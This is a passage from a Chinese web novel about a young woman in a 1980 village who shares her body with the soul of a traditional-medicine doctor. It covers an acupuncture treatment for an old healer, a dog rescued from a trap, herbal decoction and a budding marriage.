“是这里吗？”,沈如跟着牛支书绕了几个巷子，隐隐约约闻到一点中药的味道了，
“对，就是这里了，很多年了，我小的时候就听我家里人说千里县有一位老中医，可神了，药到病除，凡是有什么疑难杂症大家甚至都不奔着医院，直接就过来这边，可惜后来没顶住，也被拆了，这还是在老地址他们家小辈又建起来的，说起来我上一次过来都是20年前了。”
牛支书想起来过去那段人人自危的历史，也不知道这里怎么样了，走上前去，推开院子的门。
“这院子从外面看完全不像是中医馆”,秦双说道，她在后世见到的中医馆都是干净明亮大招牌，不说技术怎么样，从表面看起来可太能唬人了。
不过推开门一股中药的味道铺面而来，秦双有一种找到归宿的温暖，不禁开口道：“小如，这里中药味很浓，那小子的药应该能找到，我已经闻到麻黄和茯苓的味道了。”
牛远方没再继续往前走，喊了一声，“有人吗？沈老先生在吗？我们是来求医的。”
不多时，里面走出一个年轻人，身高约莫有一米八，一打眼看过去就是白，白到发光，还有点不健康的苍白，戴着副金丝边框眼睛，看起来书卷气十足，仿佛马上就要走马上任的国文先生。
“你们好，我爷爷已经不看病了，若是你们有急症还请去县医院吧。请回罢。”说完便准备转身进屋。
牛远方不知道他是谁，沈如上前一步，“您好，多有打扰，我们是小望村的村民，这一次过来也是因为家中有人重病，县医院的医生说是无法医治，不过我们侥幸得到一个中医药方，说是相当对症，所以想来您这边买些药回去。”说完，沈如从口袋里掏出秦双提前写好的药房，
“您请看。”
“这药方开的倒是简单，不知道病人是什么症状？”
沈云安有点惊疑，县医院治不好的病人真有中医能为其医治，据他所知，整个千里县甚至是整个山阳省都没有比他爷爷更厉害的中医了，这会突然冒出来一个这样的病例，倒是叫他吃惊。
“实不相瞒，这药房是我一个同学给我的，具体是哪位医生我也不清楚。”沈如可不想进一趟县城就把自己的老底都掀了。
沈云安倒是没有再问，只是暗暗记下了，只盼望着有朝一日能遇到这位医生，或许他有办法治好爷爷的病。
“不知道有没有机会见一见这位医生？”江云安有些焦急的走到沈如面前，就听到沈如回答
“不好意思，不行。”
“哦哦”，江云安没想到就这么被回绝了，只能说道，“你们在这里稍等，我马上为你们拾药。”
5. 被发现了？
沈如一个转身，连跨几步就到门前，伸出一只手将门关上，另一只手正好把冲到面前的老头抓住，避免他一个急刹车摔倒。
“小如，这老头怪吓人的，怎么神神叨叨的，嘴里一直在念叨什么呢？”
秦双目睹这一幕，有些目瞪口呆，旁边的牛远方也是完全不知道作何反应。
“谢谢，谢谢，还好没让他跑出去。”江云安赶紧小跑过来把老人拉住，他的表情有些激动，沈如感觉看到她的眼泪，但是一眨眼，仿佛又消失了。她送开了手。
“我知道你们可能很疑惑，其实刚刚你们找的江老先生就是我爷爷，”说完江云安转头看了那老人一眼，那个老人这会倒是安静下来了，只是一直盯着沈如，嘴里念念有词，可惜没人听得清楚再说什么。
“爷爷他十年前改造的时候被打破了头，加上有治疗又一直在农场里干活，没有及时医治，这才留下病根。”
江云安鞠了一躬，“谢谢你们，刚刚爷爷他突然犯了病，我一时没有注意，才让他跑了出去。他发病时会到处摔东西，有时候还会说胡话，所以周围的人都怕他，他也不愿意被别人看到自己这幅模样。毕竟以前，算了，反正我也不敢让他出去。"
说着叹了一口气，"现在刚刚开放，谁也不知道后面会怎么样。万一有个什么事”。
说完江云安不再言语，搀着老人回到屋里，又从屋子里拿出刚刚准备的药，还差两味药。
“还有两味药在仓库，你们可否帮我照顾一下爷爷？”江云安把老爷子扶在椅子上坐着，看向两人。
“当然可以，麻烦了。”沈如看这老爷子，大概也猜到是什么情况了，一位中医医生在那个残酷的年代会发生什么，又为什么会神志失常，她也是有些了解的。
这会江冯坐在椅子上，他知道自己又犯病了，喝了口茶叹了口气，抬眼看到对面的沈如，缓缓开口，“姑娘，你身上有气。”
“什么？”
“中医的气。”
沈如和秦双都震惊了，这老头语出惊人，难道他真的能看出来自己身上有两个人的气息，其中还有一个是中医。
沈如不动声色的微笑着，“大爷您这是什么意思，我没明白。”
“呵呵，云安以为我老糊涂了，但是我江冯这一辈子，治国的病人比你个小丫头见过的人还多，接触过的同行更是数不胜数，别人不知道，我们搞中医的人，身上有股精气神，一般人可没有”，江冯煞有其事的看着沈如。
沈如有些震惊，她自然知道说的不是她，而是秦双，这种未知的感觉让她有点惊悚。“老先生说笑了。”准备把话题含糊过去，江冯倒也没有过分纠缠，只是自顾自的说起来自己的事情。
“我们江家祖祖辈辈都是中医，追溯到最早，是家里一位先祖，曾是光绪帝的太医，后来新中国成立，我们全家也留在了京市，只是没想到一场浩劫，家破人亡，小安他爸妈就是二十年前走的，可惜我老了，清醒的时间有限，家里的医书也没能留存下来，小安至今也没能继承我的衣钵，我做梦都想给他找一个像样的老师，别叫我们江家的传承断了啊。”
秦双看到老人这副摸样有点感慨，“以前我师爷也是这么跟别人说的，其实私底下对我都是狠狠地打，这些老头。”
“隐隐约约有听说过，”沈如当然知道秦双小时候记不住药材名要挨打，熬糊了药会罚站，倘若是开不对剂量，那一个月的零花钱没了还要熬夜看医案。
沈如听着后面江云安的声音，乐道，“你说里面那家伙是不是跟你同病相怜，他看着不耐打。”
“我看八成是，还白白嫩嫩的，不过长得还不错，清秀帅哥，我以前最可惜的就是师爷没有给我收一个师弟，我可太想当师姐了。”
沈如不想戳破秦双那点小心思，抬起头附和着江冯的话。
“我有一个朋友也是学中医的，她对您的话应该深有体会。”
说完就端起茶杯看向牛书记。
“药好了，爷爷你看下。”江云安拿着几副药出来，去找他爷爷请教，把刚刚沈如他们的事情跟爷爷说出来。
“对方是骨折血瘀？”江冯拿了药，问了声。
”没错，我朋友他就是从山里摔坏了腿，偶然得到这方子，想拿回去试一试。”沈如将早就想好的说辞搬出来。
话音刚落，却见江冯面上一阵痛苦，忽然翻身倒在地上，捂着头，还发出低低的痛叫声，沈如着实被这一幕吓了一跳。“没想到这老头发病这么突然。小如，你快按住他，别叫他咬伤自己。”
沈如只愣神了一下就听到秦双的话，立刻使力气把江冯的手按住。牛远方只觉得今天哪里都不太对劲，这又是哪一出。走上前来，想把江冯的腿按住，虽然他不知道为什么，但是看沈如这么做应该是见过类似的病症。
“昭昭，我把他腿按住了”，牛远方对着沈如说道，沈如没想到他动手也挺快的。
而江云安从自己口袋里掏出一块毛巾，刹那间就把毛巾塞进他嘴里。
“小如儿，让我出去30分钟，这老头怕是有事。我想试试。”,秦双倒不是烂好人，只是江冯太像她师爷了，况且他这病她知道！倘若再不及时医治就要危及生命了。
沈如闻言立刻让秦双控制了身体主导权。
秦双冲着江云安喊了一声，“喂，我问你一些问题，一定要说实话，不然你爷爷就危险了。”，江云安被这气势吓到了，此刻沈如的身体正横着，把他爷爷压住后就控制双手扶在床上了。“好，你问。”江云安深吸了一口气回复到，自从78年爷爷回到千里县，身体就一直不好，近些年发病的几率也越来越近了，他有一种不祥的预感，但是爷爷执意不去找以前的老朋友医治，非说不想给别人添麻烦，自己
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又压根没学到什么。
“你爷爷这个病是不是已经有十年了？”
“对。”
“之前的发病频率是多久，什么时候发生变化的？”秦双说着手也没闲下来，从旁边拿了根筷子把毛巾替换下来，有些老人呼吸道不好，用毛巾有可能会导致窒息，并示意牛书记找根绳子把江老先生的腿先束住。
“爷爷这病大概是十年前的病根，那会只是偶尔有些头晕呕吐的症状，有一次受了风寒，比较严重，感冒后出现咳嗽咯痰，胸闷气急，治疗了半个月后有好转，不过后面因天气变化或着凉后经常再发。五年前，他参加了一个老朋友的葬礼，回来之后一病不起，加上那些年身上的陈年旧伤，不知怎么的，突发疯病，神志不清。前期是一个月可能有一次，今年开始就一周一次。”
“他这病是不是和普通的癫痫和疯病症状都不一样，发病途中会伴随胸痛和呕吐？”
“没错，当时我们去医院就是因为症状混杂，没办法下定论，爷爷清醒时会自己开点药吃，但是终归是无法根治，现在的情况更差了。”江云安没想到她居然能猜中这些症状，要知道除了当时的医生几乎没人知道这事，爷爷这几年生病也很少出门。
“那没错了，他这个病是以前脑部受伤引起的后遗症，别看受伤之后看起来好了，其实淤血未除，后来风寒和情绪不宁都算是导火索，你是学中医的应该知道，人就像一台机器，高速运转过程中一个零件出问题时有可能正常运作的，但是一旦受到外力，就好像用手推一个快要散架的机器人。”秦双举起手，作势轻轻一点。
“就像这样，一推就散架了，你们家老爷子现在就是这么个情况。”
江云安被他的描述震惊了，原理他有点懂，但是，
“姑娘，机器人是什么？”
望着他清澈的目光从眼镜里透出来，沈如扑哧一声笑出来，跟秦双说了声，
“小双儿，你可别闹了。”
“嗯，你懂了就行了，现在你只需要确定一件事情。”
“什么？”
“这病，你要不要治？”
“你的意思是这病你能治？”,江云安这下是真的震惊了，不过这话不是他说的，他看向一旁的牛书记，怎么这个人跟她一起来的，比自己还震惊，这真不是骗子吗？
秦双看了看牛书记，咳了一声，一时无言以对。
“小双儿，告诉他们，你曾经有机会学过中医，至于从何处学的不能告诉他们，看他们的选择了，通过刚刚的交流我相信江云安会有答案。”
秦双按照沈如的话回答道，牛支书还处在震惊中，但是江云安在短暂的怀疑过后再听这些话就有些相信了，毕竟他知道有些中医这几年都下放到农村了。
“好，我只需要确定一件事，刚刚你拿出的药方是你开的吗？”j江云安盯着沈如的眼睛说道。
6. 施展医术
“说是”，沈如知道袒露这件事情会有一些麻烦，比如和牛支书解释清楚，但是一方面是江冯的病很紧急，另一方面，或许和一个中医世家结识，这次是个好机会。
“是的，药方是我开的。”
“好，我信你。”江云安看了看江冯，此刻他看起来面色涨红，呼吸急促，一阵阵的呜咽，他实在是不希望一位七十岁的老人这么痛苦，况且爷爷如果清醒着想必也会同意吧。
毕竟他是那么热爱中医，如果有一位这么年轻的中医传承人给他治病，不像他，好像没有这方面的天赋。
“拿全套银针来，你爷爷的病症已经很严重了，如果再不医治，恐怕出不来十日就会中风，接着半身不遂，所以，”秦双抬眼看向江云安，
“现在必须以药为辅，针灸为主。若是早三年，以普通针刺：语言一区（左）、上廉泉、孔最（左）、合谷（右）、足三里（右）。平补平泻导气，留针30分钟。拔针后，耳穴贴压：肝、肺、肾、神门，贴上3天，这样以四周为一个流程，五个流程后差不多就可以痊愈了。”
“你看能不能用，这是我们家的祖传套针，当初太爷爷传下来的，以前爷爷也常常用它为别人治病，可惜我没能继承。”江云安拿着银针跑过来。
秦双伸手接过，锈红色的布袋子展开是一套银针，虽说是传了很多年，但是光泽感非常强，手感应该非常好。
“谢谢。”秦双听出来他语气里的沮丧，有心想教教他，虽然她并没有自己师爷那样成为国手，但是跟着他学了20年，师傅也曾经说过，成为国手只是时间的问题，有天赋有拼劲。可惜自己还是没能完成师傅师爷的遗愿。
“看好了！”秦双有心指点，便让江云安看着自己的动作，并且一边下针一边为他讲解。
“第一针，针刺取运动下区（右）而后上廉泉，再合谷（左）、三阴交（右），这三个穴位与人的呼吸心肺密切相关，如果患者出现呼吸不畅、面红肿胀多半是与之有关，刺法的话，看清楚了，上廉泉刺要以鸡爪刺，使气布咽；剩下的穴刺以平补平泻为佳。”
江云安看的认真，牛支书大气都不敢出，也不知道事情怎么就反过来了，咱不是来看病的吗？
半个小时很快过去了，秦双只能选了最快的施针方式，以免出现问题，“小如，我回来了。”
沈如接管了身体，看着江冯的气色正从不正常的涨红一点一点变得正常。
“预计还有三个小时才能醒来，就让他在这里休息吧，我的药拿走了，一共多少钱？”
沈如看这天气，估摸着这会有正午了，不知道段野和小五在家怎么样了，现在老爷子病情也稳定下来了。
“不要钱，你们给我爷爷治病，我怎么会收你的钱，对了，你等一下。”江云安似乎想到什么，连忙跑进仓库。
“小如，段野吃了药也需要养身体，等会咱们再买点肉回去。养好了就是一个顶强壮的劳动力，你的农场即将迎来第一位劳动力了。”秦双开心道。
“我有时候真的感慨，还好我们一起过来了，有你在，我安心很多。”沈如发自内心的感谢秦双，不止是治病救人，更是感谢她的陪伴。
“不敢怎么样，我的农场有你一半，等回去就开始筹划一下。”
“刚刚看你的药方有一些补气血的材料，我估摸着病人受伤有一段时间了，这是爷爷收藏的山参，送给你，希望你的朋友能尽快好起来。”江云安倒也不心疼，他们家不说豪门大户，但是也算得上富足，尤其是当时爷爷藏了一些老药材，都是无价之宝。
“正好需要，那就不跟你客气了，我替段野谢过你了，你爷爷的病症还需要持续的观察和跟进，我们会每个月的10号，20号过来为他诊治的。”沈如很开心，一颗野山参正中下怀，况且如果真要付费，恐怕段野那点钱还是不够付的，
“对了，我们是小望村的人，如果你有需要可以来村里找我，我叫沈如。”沈如已经想好，等回去就改名，她是沈如，不是任何人的替代品，是一个漂流到这里的新灵魂，即将在这里和她的好朋友开启一段自己的历史。
返回的路上沈如和秦双心情不错，跟牛支书说着去买肉，却被他拦下来。
“买什么，我有，跟我回去抓，段野这小伙子是好人，先前我们还一起打猎，这次卖猪肉他还非要给我辛苦费，我不收他还犟，走，回去我家里抓，今天中午你婶子给他们做的也是鸡汤嘞。”
坐上那个简易驴车，两人踏上了回乡的步伐。
“牛书记，可以跟我讲讲外面的事情吗？”沈如想再了解一下其他城市的情况，刚刚回来的时候还偷偷买了份报纸，这会正拿在手里读着。
“我这个人就是个土生土长的农村人，一辈子就是扎根在地里，你要是问我水稻什么时候种，一年要收几茬麦子我知道，但是我这辈子也没走出去过千里县。”
沈如听着牛支书的话有些愣神，“是啊，这里是八十年代，背朝黄土面朝天就是很多人的一生了，小双儿，你喜欢这里吗？”
“喜欢啊，其实那些人也没有多坏，而且这里没有污染没有堵车，没有十里洋场的繁华，也没有勾心斗角的争权夺利，多自在啊，我这个人要不是师傅他们要求，才不愿意在外面嘞。”
微风吹来，带着一股子青草的味道。
“你闻到了吗？小双儿，我的麦子要熟了。”
“牛书记，以后我带您出县城出省城，咱们去首都！”，沈如很喜欢牛书记，一个勤勤恳恳的庄稼汉，却淳朴善良，看他对待段野一家人和自己的态度就知道这是个老实人。
“好啊，好啊，老汉我也想走出去看看呢，就是这牛估计走不动那么远的道，哈哈哈”
“老头还挺幽默”秦双
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小声说道，但是看得出来她也很喜欢这个亲切的老头。
“牛书记，以后叫我沈如吧，我选了段野，也想尝试一个全新的人生，一切就从这个新名字开始吧，如果你想问我为什么会治病，我恐怕不能实话实话，但是我向您保证，我还是我。”
牛远方笑了笑，他小时候也听说过一些志怪故事，听起来曲折离奇，但是只是故事而已，况且眼前的人也算是他看着长大的。试想一下，一个愿意无偿治病救人的女娃又能有什么问题。
至于那些不为人知的事情，谁没有个秘密呢，他活了五十多年，秘密也不少呢！
“汪汪汪！”“汪唔~”，快走到村头的时候，沈如隐约听到了小狗的声音。
“好像有小狗，小如，你听见了吗？”秦双听到了狗叫声，还是那种小奶狗的声音。
“好像是，而且好像在呼救，很着急的样子，咱们去看一眼。”
后世曾有过关于狗党和猫党的激烈讨论，沈如作为坚定的狗党，对所有小狗一视同仁的博爱，她的试验田旁边也常常有小狗路过。对于狗的叫声她很有分辨能力。
“牛爷爷，我听那边有狗叫声，好像是有什么事情，我想去看看，你在这边稍微等我一下”，说完沈如连忙跳下来车。
“好啊，去吧。”
“在那边，往左。”秦双的声音在脑海里想起。
沈如顺着指引和狗叫声一路跑过去，这声音又不止一只。好像是有大狗还有小狗的哀嚎。
等大噶跑了三百多米，沈如终于在一棵树下看到了。
“天呐，你看她的爪子，”秦双发出一声惊呼。
原来这里有一只大黄狗，被捕兽夹夹住了，一只脚似乎是挣扎的厉害，已经可以见到骨头，黄色的皮毛也沾到了不少鲜血，看着有些可怖。
那些断断续续的哀嚎是她旁边那两只黑白的小狗发出来的，似乎是察觉到自己的妈妈被束缚无法逃脱，叫的越发凄厉。沈如走过去，看见那只大黄狗站了起来，龇开牙齿冲着外人叫，只是似乎已经叫了很久，这几声也只是母性爆发为了自己的孩子想要”大显神威”,吓退敌人。
沈如没有被她吓退，只是一直示意，自己是为了救她，见大狗有些放下戒心，试图用手摸了摸离自己稍微近一点的小黑狗。
似乎是察觉到来者没有恶意，大狗放弃吼叫，只是哀嚎，似乎是想叫她把自己的孩子带走。
沈如见他不在大叫，上前去打开捕兽夹。将被夹住的右腿拿了出来。
黑白两只小狗叫声也不再哀伤，而是那种细小的兴奋叫声，奶声奶气的，把沈如和秦双萌化了。
“好可爱啊，盘他。”沈如见她这么开心，就让他出来摸了摸小狗，似乎是感受到气息不同，小白上前嗅了嗅。
“牛爷爷，你看。”沈如抱起手里的大狗，笑得眉眼弯弯，秀丽至极。
7. 病情好转了？
“呦，这狗伤了啊。”
“对啊，误踩了人家设的捕兽夹，伤口有点严重。”
“是啊，我把他抱回去养一养伤，你看还有这两个小家伙。”沈如用脚示意了脚下两小只。
“哎呦，这小狗崽子长得真壮实。带回去也好不然这年头不能看家护院的狗大概率会被吃掉。”
似乎是感受到这话的寒意，大狗在她怀里抖了抖，低低叫了一声，仿佛是在说“不要吃了我。”
“没事，虽然家里不富裕，但是半个月还是养的起的，等好了咱们就放他离开。说完逗了逗小狗，
“是不是啊，小黑小白。”
察觉到沈如是在跟他们交流，两只小奶狗汪汪叫了两声。
于是返程的队伍又壮大了，两个人三个灵魂再加三只狗。
“汪！”
“哥哥，快喝汤，花儿婶子熬汤真好喝，昭昭姐说你身体不好，要多吃点。”段吾手里端着牛远方儿媳妇送来的鸡汤。
有点烫，上面飘着一层金黄的油花，还放了两颗花生，段野问到了一种香甜，他不确定是这鸡汤真的鲜甜还是他重新爆发了生存的喜悦。
大口喝了整碗鸡汤，段野感觉有一种充实感，
“好喝，等我好了去学一学，以后给你们煮。”段野想让沈昭昭也喝到这么好喝的汤，他知道她以前也是吃过苦的。
“是不是很好喝，昭昭姐还说你有点虚，我以后不吃那么多了。”段吾眼睛里噙了点泪花，他特别害怕是因为自己把哥哥的饭吃了才导致哥哥一直不好的。
“哥哥才不虚”,说完感觉自己仿佛是否定了沈如的话，就又改口，
“我虚跟你没关系，我只是在控制体型。”
“真的？”
“真的。”
“可是你为什么要控制体型？”
“为了，”段野咬了咬牙，“为了娶媳妇，你看这不是给你找到嫂子了。”
“可嫂子说你很虚。”
段野实在不想跟个小屁孩纠结这个话题了，把心一横，一把捞过小五子的脑袋。
“困了，跟哥哥一起睡一会，醒了他们也就回来了。”
“小五，我们回来了。”沈如刚一回来就直奔隔壁，叫段吾出来开门。
旁边沈卫探出头，忍不住撇撇嘴，回头对着王芸说，“妈，你看她，还没嫁过去呢。”。
王芸欲言又止，最后只说了一句，“没事你少惹她。”
段吾本来也不是很困，是陪自己哥哥休息，这会听见外面沈姐姐回来了，就立刻爬起来，跟他哥大声说道，“哥，沈姐姐回来啦，你的药一定也回来啦。我去开门！”
段野还没来得及叫他慢一点，就只能听见他飘走的那句“开门”，这会休息好了，就立刻爬起来，他就自己精神不错，今天的伤口没有恶化。
“段野，我们把药带回来了，家里有炉子吗”，我去给你熬药。
“沈姐姐，我带你去，跟我来。”
“牛书记，您在这歇一会吧，我先去熬药。”沈如摸了摸小五的毛茸茸脑袋，跟牛书记说道。
“没事没事，你去忙吧，我坐一坐就走了，家里还一堆事呢，马上又到春分了。”牛远方笑呵呵的，看来两人感情还挺稳定，段野交给沈如他也放心了。
“走，小五，姐姐给你看个好东西。”沈如拉着蹦蹦跳跳的段吾走到隔壁的厨房。
顶棚是水泥浇筑的，最显眼的就是中间那个大口地锅，旁边有一个木头架子，看着像是自己做得，手工不太精细，但是做的很细心，没有一点毛刺，第一层放着些不常用的锅，里面看着倒是有他需要用到的石锅，小小一个，看起来不太常用。
第二层和三层放了一些调味料，一个麦乳精的罐子，碗筷也放在这里。
东西很少，也收拾的很干净，这让沈如对段野的印象又好了一分。
“小如，你这小男朋友习惯挺好的，卧室厨房都打扫的很干净，非常贤惠呀。”
沈如没接茬，她虽然愿意结婚，但是不代表真把她到对象呢。
“别闹了，你看这药怎么熬？尽快治好他吧”,
“对，咱们治病，病恹恹的也不好，我看段吾这小孩一天天的都哭着脸，一点也不可爱了。”
“对呀，六七岁的小孩，你倒是提醒我了，等我先把药收拾了。”
“你把药拿出来，不需要洗，对，接点水，冷水就行。”
“这样把药材全部浸湿，水到这个程度可以吗？”，沈如没怎么熬过中药，她们俩从小到大身体一向很好，对中药熬制也只是偶尔听秦双提到过。
“对，很有天赋嘛，超过药材一点就行。”
“半个小时之后把这个锅子一起武火煮开，之后文火再煮15-20分钟，第一次熬好头汁，注意别糊底就行。第一次煎完还需要再煎一次，把第一次的头治倒出来，再加水煮上十五分钟。这样两次煮出来的汤汁混合，再一分为二，就够今天的药量了。”
“好，我明白了，走，咱们去看看小狗。”
刚刚进门的时候，沈如把大黄抱到了院子的屋檐下，那边正好有一堆草，用来做个暂时的窝刚刚好。
“大黄，让我来看看”，沈如倒了碗水放在三只狗面前。
沈如不是医生，但是是个健身达人，拳击武术都是学过好些年的，至于为什么，只能说那个时候想要欺负一个孤女的人太多了。她早早意识到了拳头的道理。
受伤多了，对处理外伤就有点心得。
“乖狗狗，咱们处理一下伤口哦，小五子，你过来。”沈如摸着狗脑袋，叫来段吾。
只见嗖一下从屋子里跑来一个身影，刚刚沈如在收拾药草时就让他回去陪他哥了。
段吾拿着扫帚，站定在沈如面前，刚刚他在屋里打扫卫生这下才看见眼前的小狗！
“沈姐姐，这是哪来的啊，好可爱。”段吾一点不害怕，倒是很喜欢，尤其那两只毛茸茸的小黑白狗，这会正闻着他的腿，轻轻的呜呜叫。
“我可以摸摸吗？”，段吾轻轻的开口，手里的扫帚握紧了，
“喜欢小狗吗？”
“嗯嗯，小五喜欢。”
“我来问问他们的妈妈。”
沈如担心大黄母性爆发，咬到小孩儿，这会医疗条件
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可不好。
“大黄啊，未来半个月这就是你的小主人了，你的饭都是他管哦，他很喜欢你的宝宝，”说着沈如指了指小孩儿，又摸了摸小黑小白，示意大黄。
“如果你愿意就叫两声，汪汪，如果不愿意就摆摆尾巴。”
大黄歪着脑袋看沈如，似乎是明白了，
“汪汪”
“他同意了，谢谢大黄。”
沈如没想到这狗好像真能听明白，她把手放在大黄脑袋上，示意段吾可以去摸，也防止大黄咬过去。
万一大黄听错了？
“萌娃，狗崽，好幸福啊。无痛当妈心愿达成。”秦双看着这一幕，露出姨母笑。
“你最多是个小姨。”沈如轻飘飘回一句。
“小姨就小姨，年轻，多好。”秦双不服输的回到。
“小五，你看，大黄他受伤了，家里有没有可以用来消毒的东西”沈如想看看家里有没有锅具给它处理一下伤口。
“消毒？”
“对，需要酒精或者碘酒，还有干净的布。”
“啊，家里有，我去拿。”
沈如握着手里的黄酒一阵恍惚。
“哈哈哈哈哈哈哈哈，你看，这也是酒。”秦双忍不住笑出声来。
段吾看着沈如表情，哭笑不得的样子。
“是不是拿错啦？沈姐姐”，段吾有点腼腆的说道，”我只知道这个酒，哥哥过年会用来做菜。”
“没事，酒先拿回去，这布很干净，有用的。”
沈如拍拍他的头，“来，跟姐姐学学怎么包扎，以后你哥收拾了也可以帮他处理。”
“可是，哥哥不是狗呀。”
“你个小鬼，小心挨揍。”
“嘿嘿。”
“受到外伤，第一步要用药水清理伤口，一般是医用酒精和碘酒，要把伤口上的灰尘沙砾这些脏东西都洗干净，如果像现在这样没有酒精的话，就用流动的水冲洗一会，走，咱们抱着大黄去冲一冲，清理干净后需要缝合，不过这个需要医生来做，咱们呢就给他擦点药，”
沈如想到什么，突然促狭地笑道，“这个你哥也可以用。”
“擦好药就需要用干净的布给他包扎起来。尽量避免活动，听到没。”
“听到了。以后哥哥受伤我也会了，不过哥哥应该更喜欢沈姐姐你来帮他处理”，段吾抬眼看了眼沈如，抿着嘴偷偷笑了。
“小鬼头。”
“你在这边玩，我去熬药了。”沈如给大黄打了个包扎的蝴蝶结，准备去继续熬药了。
“小如，等段野好了，你要怎么开始啊？”秦双想到未来，稍微有点迷茫，她一向是只管治病，以前她是医生，可以说除了治病好像没有太多生活经验，更不用说种田。
“等他好了，我就搬过来，我之前观察过这边的水分、湿度和植物类型，我还需要再去山上看一下野生作物，来对比一下如何选种，传统农作物可能不行，毕竟那么多农民，你知道的，种粮食可以是为了温饱为了交换为了国家耕地红线，但不可能是为了赚钱，不然河南早就超越沪市了。”
“是这个理儿。”
8. 硬汉舅舅
沈如一边将药材放到火上，她刚刚从院子过来的时候带了些柴火，很干燥。
拿了一捧易燃的干草，她掏出打火机点燃，放进炉子里，挑了一些细的枝丫放进去，火就慢慢燃了起来。
“而且我也不能纯为爱发电，给我的小双儿和小五养家糊口！所以还需要去县城看一看市场，看看是否有经济价值高一点的作物。”
“嘿嘿，抱紧大腿！我做你的大军师，为你摇旗呐喊。”
“大黄，你好好养病，我的饭分给你吃，还有小黑小白，好好长大哦，等会给你们拿好吃的。”
摸了摸小黑的脑袋，段吾看着脚边蹭着的小白，把它抱起来，“小白，你有点胖哦。”
“药熬好了，喝完晚上还有一顿。最近几天我都会过来帮你熬药的，希望你能好好养病，早点好起来。”沈如端着药走进来，看向床上的段野。
听到脚步声，段野就半躺了起来，不知道怎么的，他想表现的好一点，已经很多年没有人照顾他了。
“好,”段野露出一个灿烂地笑，接过药一饮而尽。
刚刚还露出的洁白牙齿闭上，嘴角也不再翘起，沈如被他逗笑了，
“我话还没说完呢，这药又热又苦，你慢点喝。”
“这小子傻乎乎的。”秦双看着段野也一阵好笑。
“没事，我受得了”，段野看她笑了又忍不住跟着笑起来，虽然有点丢脸，但是看见沈如笑了，也忍不住开心。
“你感觉怎么样？”
“唔，感觉好多了。”
“他骗你的，我可没有药到病除的本事。”秦双一副看热闹的表情。
“那就行，”沈如没有拆穿他，“你再休息休息，等过两天你好些了，我给你熬山参补补身体。”
“不用不用，”段野有些受宠若惊，这个东西他知道，以前在街上路过看到有人再卖，最后被迎到一个大院里了，不知道最后卖的怎么样，但是肯定不便宜，她已经帮助自己很多了。
“不用跟我客气，以后用的到你，身体养好了才行啊。”沈如深知自己包田种植只靠自己不行，不能指望在闹海的秦双，更不用想着外面的小孩儿和三只小狗。
“好，只要你想做的，我都会帮你。”段野心里一阵感动，还混杂着一些酥酥麻麻的心跳，他甚至不敢看向沈如，没见过比她好看的人，也没有比她对自己好的人。
“你拿着，”段野从枕头下拿出一个小包裹，递给沈如，
沈如有些不解，
“这是什么？”，说着一边打开，一个灰色的小包裹，里三层外三层的包着，可打开之后她分明看到的是蓝色的纸币！”
正面迎上沈如疑惑的目光，“这是我的全部家当，上次牛支书给的钱和我攒下的钱都在这里，一共是一千二百元，都交给你了，不知道你愿不愿意收下。”
段野很紧张，他感觉周围一切都安静下来，只有自己的心脏扑通扑通的快要跳出来，他已经拿出来自己所有的家当，她会接受吗？
“欸，这小子在求婚欸”，秦双看着他那副把头埋到肚子里的表现一副恨铁不成钢。
“你是在求婚吗？”，沈如的声音夹杂着一点笑意，她确实觉得段野很可爱，尤其是现在一副任人蹂躏的模样，她准备逗逗他。
“啊，不是不是，不对，我确实是在求，”段野被这个问题问的有点懵，他只想着把自己的所有东西都分享给他，至于这是求婚吗？他也不知道。
“逗你玩的啦，你这里有纸笔吗？”沈如看他脸都涨红了，伸出手来。
“有，我下去给你拿，”说完段野掀开了被子，准备下床去取，
“你赶紧躺回去，”沈如赶紧走上前几步把他按回去。段野没想到她力气这么大，猝不及防躺下去了。
“你指给我看，我去拿”，沈如没想到他这么虚弱，摸摸鼻子，顺着段野指向的方向走去。
“小如儿，身娇体弱易推倒嗷，可爱。”秦双看的很开心。
“下次我轻一点”，沈如这话不仅是回沈如的，也是对着段野说的。
“1980年，3月22日沈如借段野壹仟元，现立下欠条，预计将于三年内还清，利息按照一厘计算。欠款人，沈如，借款人，段野。”
沈如把欠条写完，指着借款人的地方，让段野签字，把笔递了过去。
“小野，我这样叫你可以吗？”
“可以，可以。”
“你在这个地方签个名字，虽然我们是要结婚了，这钱我确实有用，但是一码归一码，我不能直接拿走，我希望能借你一千元，剩下两百元当作家用”，
“什么？”，段野不知道她在写什么，天知道他刚刚只是在偷偷看她认真写字的样子，接过来一看，“字也写的好看。”他偷偷的想。
可是脸色越看越黑，抬眼看向沈如，深吸一口气。
“昭昭，”
“等等，你看我签的是沈如，以后你叫我沈如吧，或者叫姐姐也行，我比你大一岁。”
“沈如，我，我给你这个钱，是希望以后我们就是一家人，这个家就交给你来主持，我不是想借钱给你，更不要你写借条，如果你有想做的事情我一百分支持你。”
段野冲着沈如笑了笑，把纸条直接撕碎了。
沈如来不及阻止，眼看他直接撕掉，这个是他完全没有想到的事情，不过她也不矫情。
“谢谢你相信我，快好起来，我们一起做一些新的事情。以后我罩着你。“
“好啊！姐姐”。
沈如把这边安顿好，钱她留在隔壁了，并没有带回来，担心她那便宜弟弟给他惹麻烦。不过好在很快就要离开这个家了。
这个时候大家吃饭普遍比较晚，回来的时候天还没有全黑，正赶上沈家晚饭的时间，桌上除了沈家三人，还有一男一女。
“昭昭啊，你舅舅舅妈来了，快过来，你这孩子回来这么晚。吃饭没？”
本来走到自己小屋的脚步收回来，面带微笑的朝着饭桌走过去。
“今天，我是想宣布一件事情，以后不要叫我沈昭昭了，我不喜欢，沈如，是我给自己起的名字。”
“这，这咋还改名了，你这孩子是不是被你爸妈气到了，你别怕，我们这次就是来给你撑腰的。”
王国安看着沈如，面露心疼，他们两口子本来有
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一个女儿，后来夭折了，不是没有想过收养，但是总归是不合缘分，后来也想明白了，一家子农民也没所谓了，倒是看着沈昭昭总是会想起来自己的孩子。
王国安和陈秀住在隔壁的村子，小卓村，王芸是嫁给了沈强才来到小望村的。
“王芸，沈强你们这事办的实在是不像话，隔壁那个老光棍你们居然要把女儿嫁过去，怎么忍心的，他还跟村里的有妇之夫勾搭在一起，实在是不像话，还逼的自己女儿跳河，这次我们过来就是告诉你们，这女儿你们不养我养。”
说完王国安重重拍了桌子，给桌上三人吓得大气不敢出。
“小如，原来原主还是有好的家人的，我就说怎么可能这么多人渣。”秦双看王国安面黑心热，不免有些感慨。
